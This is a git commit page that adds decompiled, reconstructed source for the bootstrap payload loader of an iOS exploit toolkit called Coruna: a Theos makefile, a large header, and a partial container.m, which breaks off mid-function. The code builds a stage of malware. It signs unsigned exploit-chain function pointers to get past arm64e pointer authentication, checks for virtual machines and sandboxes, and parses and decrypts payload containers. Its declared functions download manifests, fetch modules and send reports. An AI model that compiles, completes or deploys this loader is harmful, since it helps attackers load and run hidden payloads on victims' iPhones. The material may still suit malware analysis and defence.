mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-05-08 03:06:42 +02:00
Attempt to fix source
This commit is contained in:
@@ -0,0 +1,15 @@
|
||||
TARGET := iphone:clang:latest:14.0
|
||||
ARCHS = arm64 arm64e
|
||||
FINALPACKAGE = 1
|
||||
STRIP = 0
|
||||
GO_EASY_ON_ME = 1
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
LIBRARY_NAME = bootstrap
|
||||
|
||||
bootstrap_FILES = $(wildcard *.m)
|
||||
bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12
|
||||
bootstrap_INSTALL_PATH = /usr/local/lib
|
||||
|
||||
include $(THEOS_MAKE_PATH)/library.mk
|
||||
@@ -0,0 +1,450 @@
|
||||
/*
|
||||
* bootstrap.h - Decompiled header for bootstrap.dylib
|
||||
*
|
||||
* This is a reverse-engineered reconstruction of the Coruna iOS exploit
|
||||
* toolkit's bootstrap payload loader. The single export is _process().
|
||||
*/
|
||||
|
||||
#ifndef BOOTSTRAP_H
|
||||
#define BOOTSTRAP_H
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <stdint.h>
|
||||
#import <stddef.h>
|
||||
#import <stdbool.h>
|
||||
#import <mach/mach.h>
|
||||
#import <string.h>
|
||||
#ifdef __arm64e__
|
||||
#import <ptrauth.h>
|
||||
#endif
|
||||
#import <ptrauth.h>
|
||||
|
||||
/*
|
||||
* Sign a raw (unsigned) function pointer for arm64e PAC.
|
||||
* The exploit chain's ctx contains raw function pointers; arm64e
|
||||
* indirect calls authenticate via blraaz (key A, discriminator 0).
|
||||
* Call sign_ctx_fptrs() once in process() to sign all ctx fields
|
||||
* before any function pointer calls.
|
||||
*/
|
||||
|
||||
/* ── Error codes ─────────────────────────────────────────────────── */
|
||||
#define ERR_BASE 0x000A0000
|
||||
#define ERR_NULL_CTX (ERR_BASE | 0xD001) /* 0x000AD001 */
|
||||
#define ERR_GENERIC (ERR_BASE | 0xD009) /* 0x000AD009 */
|
||||
#define ERR_ALLOC (ERR_GENERIC + 8) /* 0x000AD011 */
|
||||
#define ERR_VIRTUAL_ENV (ERR_GENERIC + 2)
|
||||
#define ERR_NO_CONTAINER 0x7003
|
||||
#define ERR_CONTAINER_FOUND 0x7001
|
||||
#define ERR_NO_DATA 0x7002
|
||||
#define ERR_BAD_MAGIC 0x700C
|
||||
#define ERR_BAD_BOUNDS 0x7005
|
||||
#define ERR_BAD_SIZE 0x7004
|
||||
#define ERR_ALLOC_SMALL (ERR_NULL_CTX + 8)
|
||||
#define ERR_MMAP_FAIL 0x5008
|
||||
#define ERR_TASK_INFO 0x5007
|
||||
#define ERR_VM_ALIGN 0x5006
|
||||
#define ERR_NO_DLSYM_RESULT 0x5005
|
||||
#define ERR_NO_MODULE_PTR 0x5004
|
||||
#define ERR_TIMEOUT 0x3015
|
||||
#define ERR_HTTP_URL 0x3002
|
||||
#define ERR_HTTP_URL_LEN 0x3003
|
||||
#define ERR_HTTP_BODY_ERR 0x3016
|
||||
#define ERR_HTTP_CT_ERR 0x3017
|
||||
#define ERR_HTTP_DATA_ERR 0x3018
|
||||
#define ERR_HTTP_EMPTY_BODY 0x3019
|
||||
#define ERR_HTTP_MSG 0x3009
|
||||
#define ERR_HTTP_STREAM 0x300A
|
||||
#define ERR_HTTP_OPEN 0x300B
|
||||
#define ERR_HTTP_SSL 0x300C
|
||||
#define ERR_HTTP_SCHEME 0x300D
|
||||
#define ERR_HTTP_PROXY 0x300E
|
||||
#define ERR_HTTP_DICT 0x300F
|
||||
#define ERR_HTTP_CLIENT 0x3010
|
||||
#define ERR_HTTP_STATUS 0x3011
|
||||
#define ERR_HTTP_NO_RESP 0x3005
|
||||
#define ERR_HTTP_ZERO_LEN 0x3004
|
||||
#define ERR_HTTP_STREAM_ERR 0x3008
|
||||
#define ERR_MODULE_NO_VTBL (0x00028006)
|
||||
#define ERR_MODULE_NO_INIT (0x00028002)
|
||||
#define ERR_MODULE_NO_FUNC (0x00028006)
|
||||
|
||||
/* ── Container type IDs ──────────────────────────────────────────── */
|
||||
#define CONTAINER_TYPE_DATA 0x50000
|
||||
#define CONTAINER_TYPE_PAYLOAD 0x70000
|
||||
#define CONTAINER_TYPE_MODULE 0x80000
|
||||
#define CONTAINER_TYPE_LOADER 0x90000
|
||||
|
||||
/* ── Magic values ────────────────────────────────────────────────── */
|
||||
#define MAGIC_FOODBEEF 0xF00DBEEF
|
||||
#define MAGIC_BEDF00D 0x0BEDF00D
|
||||
#define MAGIC_MANIFEST 0x12345678
|
||||
#define MANIFEST_ENTRY_OFFSET 0x10C
|
||||
#define MANIFEST_ENTRY_SIZE 0x64
|
||||
|
||||
/* ── SoC identifiers ────────────────────────────────────────────── */
|
||||
#define SOC_TYPE_A 0x8765EDEA
|
||||
#define SOC_TYPE_B 0xDA33D83D
|
||||
#define SOC_TYPE_C 0x1B588BB2
|
||||
#define SOC_TYPE_D 0x1B588BB3
|
||||
#define SOC_TYPE_E 0x462504D2
|
||||
#define SOC_TYPE_F 0x2876F5B5
|
||||
#define SOC_VM_CHECK_A 0x92FB37C8
|
||||
#define SOC_VM_CHECK_B 0x37A09642
|
||||
#define SOC_VM_CHECK_C 0x2C91A47E
|
||||
#define SOC_DEVICE_B_A 0x07D34B9F
|
||||
#define SOC_DEVICE_B_B 0xE81E7EF6
|
||||
|
||||
/* ── Container slot ──────────────────────────────────────────────── */
|
||||
#define MAX_CONTAINERS 24
|
||||
#define CONTAINER_SLOT_SIZE 0x30
|
||||
|
||||
typedef struct container_slot {
|
||||
uint32_t type; /* +0x00 */
|
||||
uint32_t flags; /* +0x04 */
|
||||
void *data_ptr; /* +0x08 */
|
||||
uint32_t data_size; /* +0x10 */
|
||||
uint32_t _pad1; /* +0x14 */
|
||||
void *resolved_ptr; /* +0x18 */
|
||||
uint64_t field_20; /* +0x20 */
|
||||
uint64_t field_28; /* +0x28 */
|
||||
} container_slot_t;
|
||||
|
||||
/* ── F00DBEEF container entry ────────────────────────────────────── */
|
||||
typedef struct foodbeef_entry {
|
||||
uint32_t type_flags; /* upper 16 bits = segment type */
|
||||
uint32_t flags; /* typically 0x00000003 */
|
||||
uint32_t data_offset; /* offset within container */
|
||||
uint32_t data_size; /* size of data */
|
||||
} foodbeef_entry_t;
|
||||
|
||||
/* ── F00DBEEF container header ───────────────────────────────────── */
|
||||
typedef struct foodbeef_header {
|
||||
uint32_t magic; /* 0xF00DBEEF */
|
||||
uint32_t entry_count;
|
||||
foodbeef_entry_t entries[];
|
||||
} foodbeef_header_t;
|
||||
|
||||
/* ── Module vtable ───────────────────────────────────────────────── */
|
||||
typedef struct module_vtable {
|
||||
uint16_t version; /* +0x00, expected 2 */
|
||||
uint16_t num_funcs; /* +0x02, expected >= 2 */
|
||||
uint64_t _pad; /* +0x04 */
|
||||
void *fn_deinit; /* +0x10 */
|
||||
void *fn_init; /* +0x18 */
|
||||
void *fn_cleanup; /* +0x20 */
|
||||
void *fn_command; /* +0x28 */
|
||||
void *fn_30; /* +0x30 */
|
||||
void *fn_38; /* +0x38 */
|
||||
void *fn_40; /* +0x40 */
|
||||
void *fn_48; /* +0x48 */
|
||||
} module_vtable_t;
|
||||
|
||||
/* ── Module handle ───────────────────────────────────────────────── */
|
||||
typedef struct module_handle {
|
||||
void *container; /* +0x00: container pointer */
|
||||
module_vtable_t *vtable; /* +0x08: function table */
|
||||
} module_handle_t;
|
||||
|
||||
/* ── Manifest entry ──────────────────────────────────────────────── */
|
||||
typedef struct manifest_entry {
|
||||
uint32_t flags; /* +0x00 */
|
||||
uint8_t key[32]; /* +0x04 */
|
||||
char filename[68]; /* +0x24, padded to 0x64 total */
|
||||
} manifest_entry_t;
|
||||
|
||||
/* ── Manifest header ─────────────────────────────────────────────── */
|
||||
typedef struct manifest_header {
|
||||
uint32_t magic; /* 0x12345678 */
|
||||
uint32_t _pad[65]; /* padding to 0x108 */
|
||||
uint32_t entry_count; /* +0x108 */
|
||||
/* entries start at +0x10C, each 0x64 bytes */
|
||||
} manifest_header_t;
|
||||
|
||||
/* ── Stream callback context ─────────────────────────────────────── */
|
||||
typedef struct stream_ctx {
|
||||
void *response_msg; /* +0x00: CFHTTPMessageRef */
|
||||
uint32_t error; /* +0x08 */
|
||||
uint32_t status_code; /* +0x0C */
|
||||
} stream_ctx_t;
|
||||
|
||||
/* ── Shared memory layout ────────────────────────────────────────── */
|
||||
/* The shared memory region is used for JS bridge communication:
|
||||
* +0x000000: state word (0=idle, 1=url_only, 3=response_ready, 5=timeout, 7=url+body)
|
||||
* +0x000004: URL string (up to 0x7FFFFF bytes)
|
||||
* +0x7FFFFF: NUL terminator
|
||||
* +0x800000: body data (up to 0x800000 bytes)
|
||||
* +0xFFFFFF: NUL terminator
|
||||
*/
|
||||
|
||||
/* ── Function pointer types ──────────────────────────────────────── */
|
||||
typedef uint32_t (*fn_consume_buffer_t)(void *ctx, uint32_t size);
|
||||
typedef uint32_t (*fn_decrypt_t)(void *ctx, void *data, uint32_t size, void *out);
|
||||
typedef uint32_t (*fn_dlsym_t)(void *ctx, void *handle, const char *sym, void **out);
|
||||
typedef uint32_t (*fn_download_t)(void *ctx, const char *url, void **out_data, uint32_t *out_size);
|
||||
typedef uint32_t (*fn_parse_container_t)(void *ctx, uint32_t type, void *data, uint32_t size);
|
||||
typedef uint32_t (*fn_resolve_all_t)(void *ctx);
|
||||
typedef uint32_t (*fn_find_or_load_t)(void *ctx, uint32_t type);
|
||||
typedef uint32_t (*fn_unload_t)(void *ctx, uint32_t type);
|
||||
typedef uint32_t (*fn_get_pointer_t)(void *ctx, uint32_t type, void **out);
|
||||
typedef uint32_t (*fn_get_raw_data_t)(void *ctx, uint32_t type, void **out_ptr, uint32_t *out_size);
|
||||
typedef void (*fn_icache_flush_t)(void *ctx, void *addr, uint32_t size);
|
||||
typedef uint32_t (*fn_alloc_buffer_t)(void *ctx, uint32_t size);
|
||||
typedef uint32_t (*fn_unload_container_t)(void *ctx, void *handle);
|
||||
typedef void (*fn_bzero_t)(void *ctx, void *ptr, uint32_t size);
|
||||
typedef uint32_t (*fn_log_t)(void *ctx, uint32_t error, const char *filename, uint32_t line);
|
||||
|
||||
/* ── Main bootstrap context (0x648 bytes) ────────────────────────── */
|
||||
typedef struct bootstrap_ctx {
|
||||
uint8_t header[0x18]; /* +0x000 */
|
||||
uint64_t load_addr; /* +0x018 */
|
||||
uint64_t oa_size; /* +0x020 */
|
||||
fn_consume_buffer_t consume_buf; /* +0x028 */
|
||||
fn_decrypt_t decrypt_func; /* +0x030 */
|
||||
fn_dlsym_t dlsym_func; /* +0x038 */
|
||||
fn_download_t download_func; /* +0x040 */
|
||||
uint8_t *buffer_ptr; /* +0x048 */
|
||||
uint32_t buffer_remaining; /* +0x050 */
|
||||
uint32_t _pad050; /* +0x054 */
|
||||
uint8_t _pad058[0x10]; /* +0x058 */
|
||||
void *container_data; /* +0x068 */
|
||||
uint32_t container_size; /* +0x070 */
|
||||
uint32_t _pad074; /* +0x074 */
|
||||
char *base_url; /* +0x078 */
|
||||
char *secondary_url; /* +0x080 */
|
||||
uint8_t *exec_base; /* +0x088 */
|
||||
uint32_t exec_size; /* +0x090 */
|
||||
uint32_t _pad094; /* +0x094 */
|
||||
uint8_t *key_ptr; /* +0x098 */
|
||||
char *user_agent; /* +0x0A0 */
|
||||
char *alt_url; /* +0x0A8 */
|
||||
fn_bzero_t bzero_func; /* +0x0B0 */
|
||||
uint8_t _padB8[0x08]; /* +0x0B8 */
|
||||
uint32_t os_version; /* +0x0C0: packed (minor<<8 | major<<16 | patch) */
|
||||
uint32_t _padC4; /* +0x0C4 */
|
||||
uint32_t kernel_version; /* +0x0C8 */
|
||||
uint32_t _padCC; /* +0x0CC */
|
||||
uint64_t xnu_version; /* +0x0D0 */
|
||||
uint32_t soc_version; /* +0x0D8 */
|
||||
uint32_t soc_subversion; /* +0x0DC */
|
||||
uint32_t cpu_type; /* +0x0E0 */
|
||||
uint32_t _padE4; /* +0x0E4 */
|
||||
|
||||
/* Function table (6 pointers) */
|
||||
fn_parse_container_t fn_parse_container; /* +0x0E8 */
|
||||
fn_resolve_all_t fn_resolve_all; /* +0x0F0 */
|
||||
fn_find_or_load_t fn_find_or_load; /* +0x0F8 */
|
||||
fn_unload_t fn_unload; /* +0x100 */
|
||||
fn_get_pointer_t fn_get_pointer; /* +0x108 */
|
||||
fn_get_raw_data_t fn_get_raw_data; /* +0x110 */
|
||||
|
||||
uint8_t _pad118[0x08]; /* +0x118 */
|
||||
fn_icache_flush_t fn_icache_flush; /* +0x120 */
|
||||
fn_alloc_buffer_t fn_alloc_buffer; /* +0x128 */
|
||||
fn_unload_container_t fn_unload_cont; /* +0x130 */
|
||||
uint32_t *atomic_state; /* +0x138 */
|
||||
|
||||
/* 24 container slots, each 0x30 bytes */
|
||||
container_slot_t containers[MAX_CONTAINERS]; /* +0x140 ... +0x5BF */
|
||||
|
||||
/* Flags */
|
||||
uint8_t flag_is_release; /* +0x5C0 */
|
||||
uint8_t flag_device_type; /* +0x5C1 */
|
||||
uint8_t flag_a; /* +0x5C2 */
|
||||
uint8_t flag_new_ios; /* +0x5C3 */
|
||||
uint8_t flag_ready; /* +0x5C4 */
|
||||
uint8_t flag_b; /* +0x5C5 */
|
||||
uint8_t _pad5C6; /* +0x5C6 */
|
||||
uint8_t flag_direct_mem; /* +0x5C7 */
|
||||
uint8_t _pad5C8[0x08]; /* +0x5C8 */
|
||||
|
||||
/* Memory mapping info */
|
||||
uint64_t mmap_base; /* +0x5D0 */
|
||||
uint64_t mmap_secondary; /* +0x5D8 */
|
||||
|
||||
/* Shared memory and sandbox */
|
||||
void *shared_memory; /* +0x5E0 */
|
||||
uint8_t is_sandboxed; /* +0x5E8 */
|
||||
uint8_t flag_a15_features; /* +0x5E9 */
|
||||
uint8_t _pad5EA; /* +0x5EA */
|
||||
uint8_t logging_enabled; /* +0x5EB */
|
||||
uint8_t flag_exit; /* +0x5EC */
|
||||
uint8_t _pad5ED[0x03]; /* +0x5ED */
|
||||
|
||||
/* Logging and communication */
|
||||
fn_log_t log_func; /* +0x5F0 */
|
||||
uint32_t semaphore; /* +0x5F8: mach semaphore port */
|
||||
uint8_t is_webcontent; /* +0x5FC */
|
||||
uint8_t _pad5FD[0x03]; /* +0x5FD */
|
||||
|
||||
uint8_t _pad600[0x40]; /* +0x600 */
|
||||
uint64_t cpu_features; /* +0x640 */
|
||||
} bootstrap_ctx_t;
|
||||
|
||||
_Static_assert(sizeof(bootstrap_ctx_t) == 0x648, "bootstrap_ctx_t size mismatch");
|
||||
|
||||
/* ── PAC utilities (pac.c) ───────────────────────────────────────── */
|
||||
int has_pac(void);
|
||||
uint64_t strip_pac(uint64_t ptr);
|
||||
uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx);
|
||||
int check_pac_enabled(void);
|
||||
uint64_t pacia(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t pacda(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t pacib(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t pacdb(uint64_t ptr, uint64_t ctx);
|
||||
|
||||
void resolve_pac_pointer(int sig, void *info, void *ucontext);
|
||||
|
||||
/*
|
||||
* Sign raw (unsigned) function pointers in ctx for arm64e PAC.
|
||||
* The exploit chain populates ctx with unsigned pointers; arm64e's
|
||||
* blraaz (key A, disc 0) requires them signed. Call once in process()
|
||||
* before any function pointer calls. Uses memcpy to bypass compiler
|
||||
* PAC ops on typed struct field access.
|
||||
*/
|
||||
#ifdef __arm64e__
|
||||
#define SIGN_RAW_FPTR(field) do { \
|
||||
void *_raw = NULL; \
|
||||
memcpy(&_raw, &(field), sizeof(void *)); \
|
||||
if (_raw) { \
|
||||
_raw = (void *)pacia((uint64_t)_raw, 0); \
|
||||
memcpy(&(field), &_raw, sizeof(void *)); \
|
||||
} \
|
||||
} while (0)
|
||||
#else
|
||||
#define SIGN_RAW_FPTR(field) ((void)0)
|
||||
#endif
|
||||
|
||||
static inline void sign_ctx_fptrs(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
#ifdef __arm64e__
|
||||
SIGN_RAW_FPTR(ctx->consume_buf);
|
||||
SIGN_RAW_FPTR(ctx->decrypt_func);
|
||||
SIGN_RAW_FPTR(ctx->dlsym_func);
|
||||
SIGN_RAW_FPTR(ctx->download_func);
|
||||
SIGN_RAW_FPTR(ctx->bzero_func);
|
||||
SIGN_RAW_FPTR(ctx->fn_parse_container);
|
||||
SIGN_RAW_FPTR(ctx->fn_resolve_all);
|
||||
SIGN_RAW_FPTR(ctx->fn_find_or_load);
|
||||
SIGN_RAW_FPTR(ctx->fn_unload);
|
||||
SIGN_RAW_FPTR(ctx->fn_get_pointer);
|
||||
SIGN_RAW_FPTR(ctx->fn_get_raw_data);
|
||||
SIGN_RAW_FPTR(ctx->fn_icache_flush);
|
||||
SIGN_RAW_FPTR(ctx->fn_alloc_buffer);
|
||||
SIGN_RAW_FPTR(ctx->fn_unload_cont);
|
||||
SIGN_RAW_FPTR(ctx->log_func);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*
|
||||
* Sign a single void* as a function pointer for arm64e.
|
||||
* Use at call sites for one-off unsigned pointers (e.g. dlsym results,
|
||||
* vtable entries stored as void*).
|
||||
*/
|
||||
#ifdef __arm64e__
|
||||
#define SIGN_FPTR(type, ptr) \
|
||||
((type)pacia((uint64_t)(ptr), 0))
|
||||
#else
|
||||
#define SIGN_FPTR(type, ptr) ((type)(ptr))
|
||||
#endif
|
||||
|
||||
static inline void sign_vtable_fptrs(module_vtable_t *vt)
|
||||
{
|
||||
#ifdef __arm64e__
|
||||
if (!vt) return;
|
||||
/* vtable fields are void* — sign them in-place for arm64e calls */
|
||||
if (vt->fn_deinit) vt->fn_deinit = (void*)pacia((uint64_t)vt->fn_deinit, 0);
|
||||
if (vt->fn_init) vt->fn_init = (void*)pacia((uint64_t)vt->fn_init, 0);
|
||||
if (vt->fn_cleanup) vt->fn_cleanup = (void*)pacia((uint64_t)vt->fn_cleanup, 0);
|
||||
if (vt->fn_command) vt->fn_command = (void*)pacia((uint64_t)vt->fn_command, 0);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ── Cache and memory (memory.c) ─────────────────────────────────── */
|
||||
void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size);
|
||||
uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size);
|
||||
void* consume_buffer(bootstrap_ctx_t *ctx, uint32_t size);
|
||||
uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size);
|
||||
uint32_t setup_memory(bootstrap_ctx_t *ctx);
|
||||
|
||||
/* ── System info (sysinfo.c) ─────────────────────────────────────── */
|
||||
int get_os_version(uint32_t *out);
|
||||
uint32_t check_virtual_env(uint8_t *result);
|
||||
int check_device_a(uint8_t *out);
|
||||
int check_device_b(uint8_t *out);
|
||||
uint32_t init_system_info(bootstrap_ctx_t *ctx);
|
||||
void* read_plist(const char *path);
|
||||
|
||||
/* ── Container management (container.c) ──────────────────────────── */
|
||||
uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type, void *data, uint32_t size);
|
||||
uint32_t resolve_all_containers(bootstrap_ctx_t *ctx);
|
||||
uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type);
|
||||
uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type);
|
||||
uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out);
|
||||
uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type, void **out_ptr, uint32_t *out_size);
|
||||
uint32_t init_function_table(bootstrap_ctx_t *ctx);
|
||||
|
||||
/* ── Module management (container.c) ─────────────────────────────── */
|
||||
uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out);
|
||||
uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out);
|
||||
uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out);
|
||||
uint32_t module_call_cmd(module_handle_t *handle, void *arg1, uint32_t cmd, void *arg3);
|
||||
uint32_t module_call_cleanup(module_handle_t *handle, void *arg);
|
||||
uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle);
|
||||
|
||||
/* ── Crypto (crypto.c) ───────────────────────────────────────────── */
|
||||
void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size);
|
||||
uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size);
|
||||
|
||||
/* ── HTTP (http.c) ───────────────────────────────────────────────── */
|
||||
uint32_t http_request(const char *url, const char *user_agent,
|
||||
const char *content_type, const char *body,
|
||||
void **out_data, uint32_t *out_size);
|
||||
|
||||
/* ── Logging (logging.c) ─────────────────────────────────────────── */
|
||||
void print_log(const char *fmt, ...);
|
||||
uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
|
||||
void **out_data, uint32_t *out_size);
|
||||
uint32_t format_and_send(const char *url, const char *ua,
|
||||
const char *body_fmt, ...);
|
||||
uint32_t format_log_entry(void **out_ptr, uint32_t *out_size,
|
||||
const char *fmt, ...);
|
||||
uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error,
|
||||
const char *filename, uint32_t line);
|
||||
uint32_t format_string(void **out_ptr, uint32_t *out_size,
|
||||
const char *fmt, ...);
|
||||
|
||||
/* ── Communication (logging.c) ───────────────────────────────────── */
|
||||
uint32_t init_communication(bootstrap_ctx_t *ctx);
|
||||
uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url,
|
||||
const char *body, uint32_t timeout,
|
||||
void **out_data, uint32_t *out_size);
|
||||
|
||||
/* ── Download pipeline (download.c) ──────────────────────────────── */
|
||||
int is_a15_or_newer(bootstrap_ctx_t *ctx);
|
||||
uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
char *url_buf, uint32_t url_size, void **key_out);
|
||||
uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags,
|
||||
void *manifest, uint32_t manifest_size,
|
||||
char *url_buf, uint32_t url_size, void **key_out);
|
||||
uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
char *url_buf, uint32_t url_size, void **key_out);
|
||||
uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,
|
||||
void **out_ptr, uint32_t *out_size);
|
||||
uint32_t get_arch_flags(bootstrap_ctx_t *ctx);
|
||||
uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
void *key, void **out_ptr, uint32_t *out_size);
|
||||
uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out);
|
||||
uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx);
|
||||
|
||||
/* ── Main entry (main.c) ────────────────────────────────────────── */
|
||||
uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
|
||||
uint32_t unused, uint32_t *result);
|
||||
void* thread_main(bootstrap_ctx_t *ctx);
|
||||
|
||||
/* ── Exported symbol ─────────────────────────────────────────────── */
|
||||
uint32_t process(bootstrap_ctx_t *ctx);
|
||||
|
||||
/* ── Stream callback (http.c) ────────────────────────────────────── */
|
||||
void stream_read_callback(void *stream, int event, void *info);
|
||||
|
||||
#endif /* BOOTSTRAP_H */
|
||||
@@ -0,0 +1 @@
|
||||
_process
|
||||
@@ -0,0 +1,450 @@
|
||||
/*
|
||||
* container.m - F00DBEEF container parsing and module management
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x7c9c-0x8928
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <dlfcn.h>
|
||||
|
||||
/* ── parse_foodbeef (0x7c9c) ────────────────────────────────────── */
|
||||
|
||||
uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type,
|
||||
void *data, uint32_t size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX - 8;
|
||||
|
||||
if (!ctx || !data || !size)
|
||||
return err;
|
||||
if (size < 4)
|
||||
return ERR_BAD_SIZE;
|
||||
|
||||
uint32_t magic = *(uint32_t *)data;
|
||||
if (magic == MAGIC_FOODBEEF) {
|
||||
print_log("[bootstrap] parse_foodbeef: F00DBEEF container size=%u", size);
|
||||
if (size < 9)
|
||||
return ERR_BAD_SIZE;
|
||||
|
||||
foodbeef_header_t *hdr = (foodbeef_header_t *)data;
|
||||
uint32_t count = hdr->entry_count;
|
||||
print_log("[bootstrap] parse_foodbeef: %u entries", count);
|
||||
if (count < 1)
|
||||
return 0;
|
||||
|
||||
uint8_t *base = (uint8_t *)data;
|
||||
uint8_t *end = base + size;
|
||||
|
||||
for (uint32_t i = 0; i < count; i++) {
|
||||
foodbeef_entry_t *entry = &hdr->entries[i];
|
||||
if ((uint8_t *)entry < base || (uint8_t *)(entry + 1) > end)
|
||||
return ERR_BAD_BOUNDS;
|
||||
|
||||
uint32_t etype = entry->type_flags;
|
||||
if (!etype)
|
||||
continue;
|
||||
|
||||
uint8_t *edata = base + entry->data_offset;
|
||||
uint32_t esize = entry->data_size;
|
||||
|
||||
int found = 0;
|
||||
for (int j = 0; j < MAX_CONTAINERS; j++) {
|
||||
uint32_t st = ctx->containers[j].type;
|
||||
if (st == 0 || st == etype) {
|
||||
memset(&ctx->containers[j], 0, sizeof(container_slot_t));
|
||||
ctx->containers[j].type = etype;
|
||||
ctx->containers[j].flags = entry->flags;
|
||||
ctx->containers[j].data_ptr = edata;
|
||||
ctx->containers[j].data_size = esize;
|
||||
found = 1;
|
||||
print_log("[bootstrap] parse_foodbeef: slot[%d] type=0x%x size=0x%x", j, etype, esize);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found)
|
||||
return ERR_GENERIC;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
print_log("[bootstrap] parse_foodbeef: raw data type=0x%x size=%u", type, size);
|
||||
if (!type)
|
||||
return ERR_BAD_MAGIC;
|
||||
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
uint32_t st = ctx->containers[i].type;
|
||||
if (st == 0 || st == type) {
|
||||
memset(&ctx->containers[i], 0, sizeof(container_slot_t));
|
||||
ctx->containers[i].type = type;
|
||||
ctx->containers[i].flags = 1;
|
||||
ctx->containers[i].data_ptr = data;
|
||||
ctx->containers[i].data_size = size;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return ERR_GENERIC;
|
||||
}
|
||||
|
||||
/* ── resolve_all_containers (0x7e10) ────────────────────────────── */
|
||||
|
||||
uint32_t resolve_all_containers(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
print_log("[bootstrap] resolve_all_containers");
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
container_slot_t *slot = &ctx->containers[i];
|
||||
if (!slot->type || !slot->flags)
|
||||
continue;
|
||||
if (slot->resolved_ptr)
|
||||
continue;
|
||||
|
||||
void *out = NULL;
|
||||
uint32_t err = ((fn_decrypt_t)ctx->decrypt_func)(
|
||||
ctx, slot->data_ptr, slot->data_size, &out);
|
||||
if (err) {
|
||||
print_log("[bootstrap] resolve_all_containers: decrypt FAIL slot=%d err=0x%x", i, err);
|
||||
return err;
|
||||
}
|
||||
|
||||
slot->resolved_ptr = out;
|
||||
uint8_t *hdr = (uint8_t *)out;
|
||||
slot->field_20 = *(uint64_t *)(hdr + 0x58);
|
||||
ctx->containers[i].field_20 = *(uint64_t *)(hdr + 0x58);
|
||||
*(uint32_t *)((uint8_t *)&ctx->containers[i] + 0x20) =
|
||||
*(uint32_t *)(hdr + 0xa8);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── find_or_load_container (0x7ed4) ────────────────────────────── */
|
||||
|
||||
uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx)
|
||||
return err;
|
||||
|
||||
if (!ctx->decrypt_func || !type)
|
||||
return err;
|
||||
|
||||
container_slot_t *slot = NULL;
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
if (ctx->containers[i].type == type) {
|
||||
slot = &ctx->containers[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!slot) {
|
||||
print_log("[bootstrap] find_or_load_container: type=0x%x NOT FOUND", type);
|
||||
return ERR_NO_CONTAINER;
|
||||
}
|
||||
|
||||
if (slot->resolved_ptr)
|
||||
return ERR_CONTAINER_FOUND;
|
||||
|
||||
if (!slot->data_ptr || !slot->data_size)
|
||||
return ERR_NO_DATA;
|
||||
|
||||
print_log("[bootstrap] find_or_load_container: decrypting type=0x%x size=%u", type, slot->data_size);
|
||||
void *out = NULL;
|
||||
err = ((fn_decrypt_t)ctx->decrypt_func)(
|
||||
ctx, slot->data_ptr, slot->data_size, &out);
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
slot->resolved_ptr = out;
|
||||
uint8_t *hdr = (uint8_t *)out;
|
||||
slot->field_20 = *(uint64_t *)(hdr + 0x58);
|
||||
*(uint32_t *)((uint8_t *)slot + 0x20) = *(uint32_t *)(hdr + 0xa8);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── unload_container (0x7fc8) ──────────────────────────────────── */
|
||||
|
||||
uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx)
|
||||
return err;
|
||||
|
||||
if (!ctx->fn_unload_cont || !type)
|
||||
return err;
|
||||
|
||||
container_slot_t *slot = NULL;
|
||||
